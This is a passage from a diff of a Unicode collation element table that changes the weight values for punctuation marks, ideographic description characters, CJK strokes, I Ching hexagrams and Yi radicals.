[*0237.0020.0002] # TURNED SEMICOLON -2E36 ; [*03A1.0020.0002] # DAGGER WITH LEFT GUARD -2E37 ; [*03A2.0020.0002] # DAGGER WITH RIGHT GUARD -2E38 ; [*03A3.0020.0002] # TURNED DAGGER -2E39 ; [*038A.0020.0002] # TOP HALF SECTION SIGN +2E00 ; [*03AF.0020.0002] # RIGHT ANGLE SUBSTITUTION MARKER +2E01 ; [*03B0.0020.0002] # RIGHT ANGLE DOTTED SUBSTITUTION MARKER +2E02 ; [*0354.0020.0002] # LEFT SUBSTITUTION BRACKET +2E03 ; [*0355.0020.0002] # RIGHT SUBSTITUTION BRACKET +2E04 ; [*0356.0020.0002] # LEFT DOTTED SUBSTITUTION BRACKET +2E05 ; [*0357.0020.0002] # RIGHT DOTTED SUBSTITUTION BRACKET +2E06 ; [*03B1.0020.0002] # RAISED INTERPOLATION MARKER +2E07 ; [*03B2.0020.0002] # RAISED DOTTED INTERPOLATION MARKER +2E08 ; [*03B3.0020.0002] # DOTTED TRANSPOSITION MARKER +2E09 ; [*0358.0020.0002] # LEFT TRANSPOSITION BRACKET +2E0A ; [*0359.0020.0002] # RIGHT TRANSPOSITION BRACKET +2E0B ; [*03B4.0020.0002] # RAISED SQUARE +2E0C ; [*035A.0020.0002] # LEFT RAISED OMISSION BRACKET +2E0D ; [*035B.0020.0002] # RIGHT RAISED OMISSION BRACKET +2E0E ; [*03B5.0020.0002] # EDITORIAL CORONIS +2E0F ; [*03B6.0020.0002] # PARAGRAPHOS +2E10 ; [*03B7.0020.0002] # FORKED PARAGRAPHOS +2E11 ; [*03B8.0020.0002] # REVERSED FORKED PARAGRAPHOS +2E12 ; [*03B9.0020.0002] # HYPODIASTOLE +2E13 ; [*03BA.0020.0002] # DOTTED OBELOS +2E14 ; [*03BB.0020.0002] # DOWNWARDS ANCORA +2E15 ; [*03BC.0020.0002] # UPWARDS ANCORA +2E16 ; [*03BD.0020.0002] # DOTTED RIGHT-POINTING ANGLE +2E17 ; [*021B.0020.0002] # DOUBLE OBLIQUE HYPHEN +2E18 ; [*0273.0020.0002] # INVERTED INTERROBANG +2E19 ; [*02F1.0020.0002] # PALM BRANCH +2E1A ; [*03BE.0020.0002] # HYPHEN WITH DIAERESIS +2E1B ; [*03BF.0020.0002] # TILDE WITH RING ABOVE +2E1C ; [*035C.0020.0002] # LEFT LOW PARAPHRASE BRACKET +2E1D ; [*035D.0020.0002] # RIGHT LOW PARAPHRASE BRACKET +2E1E ; [*03C0.0020.0002] # TILDE WITH DOT ABOVE +2E1F ; [*03C1.0020.0002] # TILDE WITH DOT BELOW +2E20 ; [*035E.0020.0002] # LEFT VERTICAL BAR WITH QUILL +2E21 ; [*035F.0020.0002] # RIGHT VERTICAL BAR WITH QUILL +2E22 ; [*0360.0020.0002] # TOP LEFT HALF BRACKET +2E23 ; [*0361.0020.0002] # TOP RIGHT HALF BRACKET +2E24 ; [*0362.0020.0002] # BOTTOM LEFT HALF BRACKET +2E25 ; [*0363.0020.0002] # BOTTOM RIGHT HALF BRACKET +2E26 ; [*0364.0020.0002] # LEFT SIDEWAYS U BRACKET +2E27 ; [*0365.0020.0002] # RIGHT SIDEWAYS U BRACKET +2E28 ; [*0366.0020.0002] # LEFT DOUBLE PARENTHESIS +2E29 ; [*0367.0020.0002] # RIGHT DOUBLE PARENTHESIS +2E2A ; [*02EA.0020.0002] # TWO DOTS OVER ONE DOT PUNCTUATION +2E2B ; [*02EB.0020.0002] # ONE DOT OVER TWO DOTS PUNCTUATION +2E2C ; [*02EC.0020.0002] # SQUARED FOUR DOT PUNCTUATION +2E2D ; [*02ED.0020.0002] # FIVE DOT MARK +2E2E ; [*0266.0020.0002] # REVERSED QUESTION MARK +2E30 ; [*0280.0020.0002] # RING POINT +2E31 ; [*0289.0020.0002] # WORD SEPARATOR MIDDLE DOT +2E32 ; [*0223.0020.0002] # TURNED COMMA +2E33 ; [*028A.0020.0002] # RAISED DOT +2E34 ; [*0222.0020.0002] # RAISED COMMA +2E35 ; [*0236.0020.0002] # TURNED SEMICOLON +2E36 ; [*039A.0020.0002] # DAGGER WITH LEFT GUARD +2E37 ; [*039B.0020.0002] # DAGGER WITH RIGHT GUARD +2E38 ; [*039C.0020.0002] # TURNED DAGGER +2E39 ; [*0383.0020.0002] # TOP HALF SECTION SIGN 2E3A ; [*0218.0020.0002] # TWO-EM DASH 2E3B ; [*0219.0020.0002] # THREE-EM DASH -2E3C ; [*0284.0020.0002] # STENOGRAPHIC FULL STOP -2E3D ; [*02F5.0020.0002] # VERTICAL SIX DOTS -2E3E ; [*0384.0020.0002] # WIGGLY VERTICAL LINE -2E3F ; [*038D.0020.0002] # CAPITULUM -2E40 ; [*021D.0020.0002] # DOUBLE HYPHEN -2E41 ; [*0225.0020.0002] # REVERSED COMMA -2E42 ; [*0311.0020.0002] # DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43 ; [*021B.0020.0002] # DASH WITH LEFT UPTURN -2E44 ; [*03C9.0020.0002] # DOUBLE SUSPENSION MARK -2FF0 ; [*1A5B.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT -2FF1 ; [*1A5C.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO BELOW -2FF2 ; [*1A5D.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO MIDDLE AND RIGHT -2FF3 ; [*1A5E.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO MIDDLE AND BELOW -2FF4 ; [*1A5F.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER FULL SURROUND -2FF5 ; [*1A60.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM ABOVE -2FF6 ; [*1A61.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM BELOW -2FF7 ; [*1A62.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LEFT -2FF8 ; [*1A63.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER LEFT -2FF9 ; [*1A64.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER RIGHT -2FFA ; [*1A65.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LOWER LEFT -2FFB ; [*1A66.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID +2E3C ; [*0281.0020.0002] # STENOGRAPHIC FULL STOP +2E3D ; [*02EE.0020.0002] # VERTICAL SIX DOTS +2E3E ; [*037D.0020.0002] # WIGGLY VERTICAL LINE +2E3F ; [*0386.0020.0002] # CAPITULUM +2E40 ; [*021C.0020.0002] # DOUBLE HYPHEN +2E41 ; [*0224.0020.0002] # REVERSED COMMA +2E42 ; [*030A.0020.0002] # DOUBLE LOW-REVERSED-9 QUOTATION MARK +2FF0 ; [*19EB.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT +2FF1 ; [*19EC.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO BELOW +2FF2 ; [*19ED.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO MIDDLE AND RIGHT +2FF3 ; [*19EE.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO MIDDLE AND BELOW +2FF4 ; [*19EF.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER FULL SURROUND +2FF5 ; [*19F0.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM ABOVE +2FF6 ; [*19F1.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM BELOW +2FF7 ; [*19F2.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LEFT +2FF8 ; [*19F3.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER LEFT +2FF9 ; [*19F4.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER RIGHT +2FFA ; [*19F5.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LOWER LEFT +2FFB ; [*19F6.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID 3000 ; [*0209.0020.0003] # IDEOGRAPHIC SPACE -3001 ; [*0231.0020.0002] # IDEOGRAPHIC COMMA -3002 ; [*028A.0020.0002] # IDEOGRAPHIC FULL STOP -3003 ; [*03AC.0020.0002] # DITTO MARK -3004 ; [*1A8B.0020.0002] # JAPANESE INDUSTRIAL STANDARD SYMBOL -3008 ; [*036F.0020.0002] # LEFT ANGLE BRACKET -3009 ; [*0370.0020.0002] # RIGHT ANGLE BRACKET -300A ; [*0371.0020.0002] # LEFT DOUBLE ANGLE BRACKET -300B ; [*0372.0020.0002] # RIGHT DOUBLE ANGLE BRACKET -300C ; [*0373.0020.0002] # LEFT CORNER BRACKET -300D ; [*0374.0020.0002] # RIGHT CORNER BRACKET -300E ; [*0375.0020.0002] # LEFT WHITE CORNER BRACKET -300F ; [*0376.0020.0002] # RIGHT WHITE CORNER BRACKET -3010 ; [*0377.0020.0002] # LEFT BLACK LENTICULAR BRACKET -3011 ; [*0378.0020.0002] # RIGHT BLACK LENTICULAR BRACKET -3012 ; [*1A8C.0020.0002] # POSTAL MARK -3013 ; [*1A8D.0020.0002] # GETA MARK -3014 ; [*0379.0020.0002] # LEFT TORTOISE SHELL BRACKET -3015 ; [*037A.0020.0002] # RIGHT TORTOISE SHELL BRACKET -3016 ; [*037B.0020.0002] # LEFT WHITE LENTICULAR BRACKET -3017 ; [*037C.0020.0002] # RIGHT WHITE LENTICULAR BRACKET -3018 ; [*037D.0020.0002] # LEFT WHITE TORTOISE SHELL BRACKET -3019 ; [*037E.0020.0002] # RIGHT WHITE TORTOISE SHELL BRACKET -301A ; [*037F.0020.0002] # LEFT WHITE SQUARE BRACKET -301B ; [*0380.0020.0002] # RIGHT WHITE SQUARE BRACKET -301C ; [*021E.0020.0002] # WAVE DASH -301D ; [*0312.0020.0002] # REVERSED DOUBLE PRIME QUOTATION MARK -301E ; [*0313.0020.0002] # DOUBLE PRIME QUOTATION MARK -301F ; [*0314.0020.0002] # LOW DOUBLE PRIME QUOTATION MARK -3020 ; [*1A8E.0020.0002] # POSTAL MARK FACE -3030 ; [*021F.0020.0002] # WAVY DASH -3036 ; [*1A8C.0020.0004] # CIRCLED POSTAL MARK -3037 ; [*1A8F.0020.0002] # IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL -303D ; [*03AD.0020.0002] # PART ALTERNATION MARK -303E ; [*1A90.0020.0002] # IDEOGRAPHIC VARIATION INDICATOR -303F ; [*1A91.0020.0002] # IDEOGRAPHIC HALF FILL SPACE -309B ; [*0491.0020.0002] # KATAKANA-HIRAGANA VOICED SOUND MARK -309C ; [*0492.0020.0002] # KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK -30A0 ; [*0220.0020.0002] # KATAKANA-HIRAGANA DOUBLE HYPHEN -30FB ; [*0221.0020.0002] # KATAKANA MIDDLE DOT -3190 ; [*1A92.0020.0002] # IDEOGRAPHIC ANNOTATION LINKING MARK -3191 ; [*1A93.0020.0002] # IDEOGRAPHIC ANNOTATION REVERSE MARK -31C0 ; [*1A67.0020.0002] # CJK STROKE T -31C1 ; [*1A68.0020.0002] # CJK STROKE WG -31C2 ; [*1A69.0020.0002] # CJK STROKE XG -31C3 ; [*1A6A.0020.0002] # CJK STROKE BXG -31C4 ; [*1A6B.0020.0002] # CJK STROKE SW -31C5 ; [*1A6C.0020.0002] # CJK STROKE HZZ -31C6 ; [*1A6D.0020.0002] # CJK STROKE HZG -31C7 ; [*1A6E.0020.0002] # CJK STROKE HP -31C8 ; [*1A6F.0020.0002] # CJK STROKE HZWG -31C9 ; [*1A70.0020.0002] # CJK STROKE SZWG -31CA ; [*1A71.0020.0002] # CJK STROKE HZT -31CB ; [*1A72.0020.0002] # CJK STROKE HZZP -31CC ; [*1A73.0020.0002] # CJK STROKE HPWG -31CD ; [*1A74.0020.0002] # CJK STROKE HZW -31CE ; [*1A75.0020.0002] # CJK STROKE HZZZ -31CF ; [*1A76.0020.0002] # CJK STROKE N -31D0 ; [*1A77.0020.0002] # CJK STROKE H -31D1 ; [*1A78.0020.0002] # CJK STROKE S -31D2 ; [*1A79.0020.0002] # CJK STROKE P -31D3 ; [*1A7A.0020.0002] # CJK STROKE SP -31D4 ; [*1A7B.0020.0002] # CJK STROKE D -31D5 ; [*1A7C.0020.0002] # CJK STROKE HZ -31D6 ; [*1A7D.0020.0002] # CJK STROKE HG -31D7 ; [*1A7E.0020.0002] # CJK STROKE SZ -31D8 ; [*1A7F.0020.0002] # CJK STROKE SWZ -31D9 ; [*1A80.0020.0002] # CJK STROKE ST -31DA ; [*1A81.0020.0002] # CJK STROKE SG -31DB ; [*1A82.0020.0002] # CJK STROKE PD -31DC ; [*1A83.0020.0002] # CJK STROKE PZ -31DD ; [*1A84.0020.0002] # CJK STROKE TN -31DE ; [*1A85.0020.0002] # CJK STROKE SZZ -31DF ; [*1A86.0020.0002] # CJK STROKE SWG -31E0 ; [*1A87.0020.0002] # CJK STROKE HXWG -31E1 ; [*1A88.0020.0002] # CJK STROKE HZZZG -31E2 ; [*1A89.0020.0002] # CJK STROKE PG -31E3 ; [*1A8A.0020.0002] # CJK STROKE Q -327F ; [*1A94.0020.0002] # KOREAN STANDARD SYMBOL -4DC0 ; [*0EAA.0020.0002] # HEXAGRAM FOR THE CREATIVE HEAVEN -4DC1 ; [*0EAB.0020.0002] # HEXAGRAM FOR THE RECEPTIVE EARTH -4DC2 ; [*0EAC.0020.0002] # HEXAGRAM FOR DIFFICULTY AT THE BEGINNING -4DC3 ; [*0EAD.0020.0002] # HEXAGRAM FOR YOUTHFUL FOLLY -4DC4 ; [*0EAE.0020.0002] # HEXAGRAM FOR WAITING -4DC5 ; [*0EAF.0020.0002] # HEXAGRAM FOR CONFLICT -4DC6 ; [*0EB0.0020.0002] # HEXAGRAM FOR THE ARMY -4DC7 ; [*0EB1.0020.0002] # HEXAGRAM FOR HOLDING TOGETHER -4DC8 ; [*0EB2.0020.0002] # HEXAGRAM FOR SMALL TAMING -4DC9 ; [*0EB3.0020.0002] # HEXAGRAM FOR TREADING -4DCA ; [*0EB4.0020.0002] # HEXAGRAM FOR PEACE -4DCB ; [*0EB5.0020.0002] # HEXAGRAM FOR STANDSTILL -4DCC ; [*0EB6.0020.0002] # HEXAGRAM FOR FELLOWSHIP -4DCD ; [*0EB7.0020.0002] # HEXAGRAM FOR GREAT POSSESSION -4DCE ; [*0EB8.0020.0002] # HEXAGRAM FOR MODESTY -4DCF ; [*0EB9.0020.0002] # HEXAGRAM FOR ENTHUSIASM -4DD0 ; [*0EBA.0020.0002] # HEXAGRAM FOR FOLLOWING -4DD1 ; [*0EBB.0020.0002] # HEXAGRAM FOR WORK ON THE DECAYED -4DD2 ; [*0EBC.0020.0002] # HEXAGRAM FOR APPROACH -4DD3 ; [*0EBD.0020.0002] # HEXAGRAM FOR CONTEMPLATION -4DD4 ; [*0EBE.0020.0002] # HEXAGRAM FOR BITING THROUGH -4DD5 ; [*0EBF.0020.0002] # HEXAGRAM FOR GRACE -4DD6 ; [*0EC0.0020.0002] # HEXAGRAM FOR SPLITTING APART -4DD7 ; [*0EC1.0020.0002] # HEXAGRAM FOR RETURN -4DD8 ; [*0EC2.0020.0002] # HEXAGRAM FOR INNOCENCE -4DD9 ; [*0EC3.0020.0002] # HEXAGRAM FOR GREAT TAMING -4DDA ; [*0EC4.0020.0002] # HEXAGRAM FOR MOUTH CORNERS -4DDB ; [*0EC5.0020.0002] # HEXAGRAM FOR GREAT PREPONDERANCE -4DDC ; [*0EC6.0020.0002] # HEXAGRAM FOR THE ABYSMAL WATER -4DDD ; [*0EC7.0020.0002] # HEXAGRAM FOR THE CLINGING FIRE -4DDE ; [*0EC8.0020.0002] # HEXAGRAM FOR INFLUENCE -4DDF ; [*0EC9.0020.0002] # HEXAGRAM FOR DURATION -4DE0 ; [*0ECA.0020.0002] # HEXAGRAM FOR RETREAT -4DE1 ; [*0ECB.0020.0002] # HEXAGRAM FOR GREAT POWER -4DE2 ; [*0ECC.0020.0002] # HEXAGRAM FOR PROGRESS -4DE3 ; [*0ECD.0020.0002] # HEXAGRAM FOR DARKENING OF THE LIGHT -4DE4 ; [*0ECE.0020.0002] # HEXAGRAM FOR THE FAMILY -4DE5 ; [*0ECF.0020.0002] # HEXAGRAM FOR OPPOSITION -4DE6 ; [*0ED0.0020.0002] # HEXAGRAM FOR OBSTRUCTION -4DE7 ; [*0ED1.0020.0002] # HEXAGRAM FOR DELIVERANCE -4DE8 ; [*0ED2.0020.0002] # HEXAGRAM FOR DECREASE -4DE9 ; [*0ED3.0020.0002] # HEXAGRAM FOR INCREASE -4DEA ; [*0ED4.0020.0002] # HEXAGRAM FOR BREAKTHROUGH -4DEB ; [*0ED5.0020.0002] # HEXAGRAM FOR COMING TO MEET -4DEC ; [*0ED6.0020.0002] # HEXAGRAM FOR GATHERING TOGETHER -4DED ; [*0ED7.0020.0002] # HEXAGRAM FOR PUSHING UPWARD -4DEE ; [*0ED8.0020.0002] # HEXAGRAM FOR OPPRESSION -4DEF ; [*0ED9.0020.0002] # HEXAGRAM FOR THE WELL -4DF0 ; [*0EDA.0020.0002] # HEXAGRAM FOR REVOLUTION -4DF1 ; [*0EDB.0020.0002] # HEXAGRAM FOR THE CAULDRON -4DF2 ; [*0EDC.0020.0002] # HEXAGRAM FOR THE AROUSING THUNDER -4DF3 ; [*0EDD.0020.0002] # HEXAGRAM FOR THE KEEPING STILL MOUNTAIN -4DF4 ; [*0EDE.0020.0002] # HEXAGRAM FOR DEVELOPMENT -4DF5 ; [*0EDF.0020.0002] # HEXAGRAM FOR THE MARRYING MAIDEN -4DF6 ; [*0EE0.0020.0002] # HEXAGRAM FOR ABUNDANCE -4DF7 ; [*0EE1.0020.0002] # HEXAGRAM FOR THE WANDERER -4DF8 ; [*0EE2.0020.0002] # HEXAGRAM FOR THE GENTLE WIND -4DF9 ; [*0EE3.0020.0002] # HEXAGRAM FOR THE JOYOUS LAKE -4DFA ; [*0EE4.0020.0002] # HEXAGRAM FOR DISPERSION -4DFB ; [*0EE5.0020.0002] # HEXAGRAM FOR LIMITATION -4DFC ; [*0EE6.0020.0002] # HEXAGRAM FOR INNER TRUTH -4DFD ; [*0EE7.0020.0002] # HEXAGRAM FOR SMALL PREPONDERANCE -4DFE ; [*0EE8.0020.0002] # HEXAGRAM FOR AFTER COMPLETION -4DFF ; [*0EE9.0020.0002] # HEXAGRAM FOR BEFORE COMPLETION -A490 ; [*0F41.0020.0002] # YI RADICAL QOT -A491 ; [*0F42.0020.0002] # YI RADICAL LI -A492 ; [*0F43.0020.0002] # YI RADICAL KIT -A493 ; [*0F44.0020.0002] # YI RADICAL NYIP -A494 ; [*0F45.0020.0002] # YI RADICAL CYP -A495 ; [*0F46.0020.0002] # YI RADICAL SSI -A496 ; [*0F47.0020.0002] # YI RADICAL GGOP -A497 ; [*0F48.0020.0002] # YI RADICAL GEP -A498 ; [*0F49.0020.0002] # YI RADICAL MI -A499 ; [*0F4A.0020.0002] # YI RADICAL HXIT -A49A ; [*0F4B.0020.0002] # YI RADICAL LYR -A49B ; [*0F4C.0020.0002] # YI RADICAL BBUT -A49C ; [*0F4D.0020.0002] # YI RADICAL MOP -A49D ; [*0F4E.0020.0002] # YI RADICAL YO -A49E ; [*0F4F.0020.0002] # YI RADICAL PUT -A49F ; [*0F50.0020.0002] # YI RADICAL HXUO -A4A0 ; [*0F51.0020.0002] # YI RADICAL TAT -A4A1 ; [*0F52.0020.0002] # YI RADICAL GA -A4A2 ; [*0F53.0020.0002] # YI RADICAL ZUP -A4A3 ; [*0F54.0020.0002] # YI RADICAL CYT -A4A4 ; [*0F55.0020.0002] # YI RADICAL DDUR -A4A5 ; [*0F56.0020.0002] # YI RADICAL BUR -A4A6 ; [*0F57.0020.0002] # YI RADICAL GGUO -A4A7 ; [*0F58.0020.0002] # YI RADICAL NYOP -A4A8 ; [*0F59.0020.0002] # YI RADICAL TU -A4A9 ; [*0F5A.0020.0002] # YI RADICAL OP -A4AA ; [*0F5B.0020.0002] # YI RADICAL JJUT -A4AB ; [*0F5C.0020.0002] # YI RADICAL ZOT -A4AC ; [*0F5D.0020.0002] # YI RADICAL PYT -A4AD ; [*0F5E.0020.0002] # YI RADICAL HMO -A4AE ; [*0F5F.0020.0002] # YI RADICAL YIT -A4AF ; [*0F60.0020.0002] # YI RADICAL VUR -A4B0 ; [*0F61.0020.0002] # YI RADICAL SHY -A4B1 ; [*0F62.0020.0002] # YI RADICAL VEP -A4B2 ; [*0F63.0020.0002] # YI RADICAL ZA -A4B3 ; [*0F64.0020.0002] # YI RADICAL JO -A4B4 ; [*0F65.0020.0002] # YI RADICAL NZUP -A4B5 ; [*0F66.0020.0002] # YI RADICAL JJY -A4B6 ; [*0F67.0020.0002] # YI RADICAL GOT -A4B7 ; [*0F68.0020.0002] # YI RADICAL JJIE -A4B8 ; [*0F69.0020.0002] # YI RADICAL WO -A4B9 ; [*0F6A.0020.0002] # YI RADICAL DU -A4BA ; [*0F6B.0020.0002] # YI RADICAL SHUR -A4BB ; [*0F6C.0020.0002] # YI RADICAL LIE -A4BC ; [*0F6D.0020.0002] # YI RADICAL CY -A4BD ; [*0F6E.0020.0002] # YI RADICAL CUOP -A4BE ; [*0F6F.0020.0002] # YI RADICAL CIP -A4BF ; [*0F70.0020.0002] # YI RADICAL HXOP -A4C0 ; [*0F71.0020.0002] # YI RADICAL SHAT -A4C1 ; [*0F72.0020.0002] # YI RADICAL ZUR -A4C2 ; [*0F73.0020.0002] # YI RADICAL SHOP -A4C3 ; [*0F74.0020.0002] # YI RADICAL CHE -A4C4 ; [*0F75.0020.0002] # YI RADICAL ZZIET -A4C5 ; [*0F76.0020.0002] # YI RADICAL NBIE -A4C6 ; [*0F77.0020.0002] # YI RADICAL KE -A4FE ; [*022E.0020.0002] # LISU PUNCTUATION COMMA -A4FF ; [*0285.0020.0002] # LISU PUNCTUATION FULL STOP -A60D ; [*022F.0020.0002] # VAI COMMA -A60E ; [*0286.0020.0002] # VAI FULL STOP -A60F ; [*0270.0020.0002] # VAI QUESTION MARK +3001 ; [*0230.0020.0002] # IDEOGRAPHIC COMMA +3002 ; [*0287.0020.0002] # IDEOGRAPHIC FULL STOP +3003 ; [*03A5.0020.0002] # DITTO MARK +3004 ; [*1A1B.0020.0002] # JAPANESE INDUSTRIAL STANDARD SYMBOL +3008 ; [*0368.0020.0002] # LEFT ANGLE BRACKET +3009 ; [*0369.0020.0002] # RIGHT ANGLE BRACKET +300A ; [*036A.0020.0002] # LEFT DOUBLE ANGLE BRACKET +300B ; [*036B.0020.0002] # RIGHT DOUBLE ANGLE BRACKET +300C ; [*036C.0020.0002] # LEFT CORNER BRACKET +300D ; [*036D.0020.0002] # RIGHT CORNER BRACKET +300E ; [*036E.0020.0002] # LEFT WHITE CORNER BRACKET +300F ; [*036F.0020.0002] # RIGHT WHITE CORNER BRACKET +3010 ; [*0370.0020.0002] # LEFT BLACK LENTICULAR BRACKET +3011 ; [*0371.0020.0002] # RIGHT BLACK LENTICULAR BRACKET +3012 ; [*1A1C.0020.0002] # POSTAL MARK +3013 ; [*1A1D.0020.0002] # GETA MARK +3014 ; [*0372.0020.0002] # LEFT TORTOISE SHELL BRACKET +3015 ; [*0373.0020.0002] # RIGHT TORTOISE SHELL BRACKET +3016 ; [*0374.0020.0002] # LEFT WHITE LENTICULAR BRACKET +3017 ; [*0375.0020.0002] # RIGHT WHITE LENTICULAR BRACKET +3018 ; [*0376.0020.0002] # LEFT WHITE TORTOISE SHELL BRACKET +3019 ; [*0377.0020.0002] # RIGHT WHITE TORTOISE SHELL BRACKET +301A ; [*0378.0020.0002] # LEFT WHITE SQUARE BRACKET +301B ; [*0379.0020.0002] # RIGHT WHITE SQUARE BRACKET +301C ; [*021D.0020.0002] # WAVE DASH +301D ; [*030B.0020.0002] # REVERSED DOUBLE PRIME QUOTATION MARK +301E ; [*030C.0020.0002] # DOUBLE PRIME QUOTATION MARK +301F ; [*030D.0020.0002] # LOW DOUBLE PRIME QUOTATION MARK +3020 ; [*1A1E.0020.0002] # POSTAL MARK FACE +3030 ; [*021E.0020.0002] # WAVY DASH +3036 ; [*1A1C.0020.0004] # CIRCLED POSTAL MARK +3037 ; [*1A1F.0020.0002] # IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL +303D ; [*03A6.0020.0002] # PART ALTERNATION MARK +303E ; [*1A20.0020.0002] # IDEOGRAPHIC VARIATION INDICATOR +303F ; [*1A21.0020.0002] # IDEOGRAPHIC HALF FILL SPACE +309B ; [*0472.0020.0002] # KATAKANA-HIRAGANA VOICED SOUND MARK +309C ; [*0473.0020.0002] # KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK +30A0 ; [*021F.0020.0002] # KATAKANA-HIRAGANA DOUBLE HYPHEN +30FB ; [*0220.0020.0002] # KATAKANA MIDDLE DOT +3190 ; [*1A22.0020.0002] # IDEOGRAPHIC ANNOTATION LINKING MARK +3191 ; [*1A23.0020.0002] # IDEOGRAPHIC ANNOTATION REVERSE MARK +31C0 ; [*19F7.0020.0002] # CJK STROKE T +31C1 ; [*19F8.0020.0002] # CJK STROKE WG +31C2 ; [*19F9.0020.0002] # CJK STROKE XG +31C3 ; [*19FA.0020.0002] # CJK STROKE BXG +31C4 ; [*19FB.0020.0002] # CJK STROKE SW +31C5 ; [*19FC.0020.0002] # CJK STROKE HZZ +31C6 ; [*19FD.0020.0002] # CJK STROKE HZG +31C7 ; [*19FE.0020.0002] # CJK STROKE HP +31C8 ; [*19FF.0020.0002] # CJK STROKE HZWG +31C9 ; [*1A00.0020.0002] # CJK STROKE SZWG +31CA ; [*1A01.0020.0002] # CJK STROKE HZT +31CB ; [*1A02.0020.0002] # CJK STROKE HZZP +31CC ; [*1A03.0020.0002] # CJK STROKE HPWG +31CD ; [*1A04.0020.0002] # CJK STROKE HZW +31CE ; [*1A05.0020.0002] # CJK STROKE HZZZ +31CF ; [*1A06.0020.0002] # CJK STROKE N +31D0 ; [*1A07.0020.0002] # CJK STROKE H +31D1 ; [*1A08.0020.0002] # CJK STROKE S +31D2 ; [*1A09.0020.0002] # CJK STROKE P +31D3 ; [*1A0A.0020.0002] # CJK STROKE SP +31D4 ; [*1A0B.0020.0002] # CJK STROKE D +31D5 ; [*1A0C.0020.0002] # CJK STROKE HZ +31D6 ; [*1A0D.0020.0002] # CJK STROKE HG +31D7 ; [*1A0E.0020.0002] # CJK STROKE SZ +31D8 ; [*1A0F.0020.0002] # CJK STROKE SWZ +31D9 ; [*1A10.0020.0002] # CJK STROKE ST +31DA ; [*1A11.0020.0002] # CJK STROKE SG +31DB ; [*1A12.0020.0002] # CJK STROKE PD +31DC ; [*1A13.0020.0002] # CJK STROKE PZ +31DD ; [*1A14.0020.0002] # CJK STROKE TN +31DE ; [*1A15.0020.0002] # CJK STROKE SZZ +31DF ; [*1A16.0020.0002] # CJK STROKE SWG +31E0 ; [*1A17.0020.0002] # CJK STROKE HXWG +31E1 ; [*1A18.0020.0002] # CJK STROKE HZZZG +31E2 ; [*1A19.0020.0002] # CJK STROKE PG +31E3 ; [*1A1A.0020.0002] # CJK STROKE Q +327F ; [*1A24.0020.0002] # KOREAN STANDARD SYMBOL +4DC0 ; [*0E86.0020.0002] # HEXAGRAM FOR THE CREATIVE HEAVEN +4DC1 ; [*0E87.0020.0002] # HEXAGRAM FOR THE RECEPTIVE EARTH +4DC2 ; [*0E88.0020.0002] # HEXAGRAM FOR DIFFICULTY AT THE BEGINNING +4DC3 ; [*0E89.0020.0002] # HEXAGRAM FOR YOUTHFUL FOLLY +4DC4 ; [*0E8A.0020.0002] # HEXAGRAM FOR WAITING +4DC5 ; [*0E8B.0020.0002] # HEXAGRAM FOR CONFLICT +4DC6 ; [*0E8C.0020.0002] # HEXAGRAM FOR THE ARMY +4DC7 ; [*0E8D.0020.0002] # HEXAGRAM FOR HOLDING TOGETHER +4DC8 ; [*0E8E.0020.0002] # HEXAGRAM FOR SMALL TAMING +4DC9 ; [*0E8F.0020.0002] # HEXAGRAM FOR TREADING +4DCA ; [*0E90.0020.0002] # HEXAGRAM FOR PEACE +4DCB ; [*0E91.0020.0002] # HEXAGRAM FOR STANDSTILL +4DCC ; [*0E92.0020.0002] # HEXAGRAM FOR FELLOWSHIP +4DCD ; [*0E93.0020.0002] # HEXAGRAM FOR GREAT POSSESSION +4DCE ; [*0E94.0020.0002] # HEXAGRAM FOR MODESTY +4DCF ; [*0E95.0020.0002] # HEXAGRAM FOR ENTHUSIASM +4DD0 ; [*0E96.0020.0002] # HEXAGRAM FOR FOLLOWING +4DD1 ; [*0E97.0020.0002] # HEXAGRAM FOR WORK ON THE DECAYED +4DD2 ; [*0E98.0020.0002] # HEXAGRAM FOR APPROACH +4DD3 ; [*0E99.0020.0002] # HEXAGRAM FOR CONTEMPLATION +4DD4 ; [*0E9A.0020.0002] # HEXAGRAM FOR BITING THROUGH +4DD5 ; [*0E9B.0020.0002] # HEXAGRAM FOR GRACE +4DD6 ; [*0E9C.0020.0002] # HEXAGRAM FOR SPLITTING APART +4DD7 ; [*0E9D.0020.0002] # HEXAGRAM FOR RETURN +4DD8 ; [*0E9E.0020.0002] # HEXAGRAM FOR INNOCENCE +4DD9 ; [*0E9F.0020.0002] # HEXAGRAM FOR GREAT TAMING +4DDA ; [*0EA0.0020.0002] # HEXAGRAM FOR 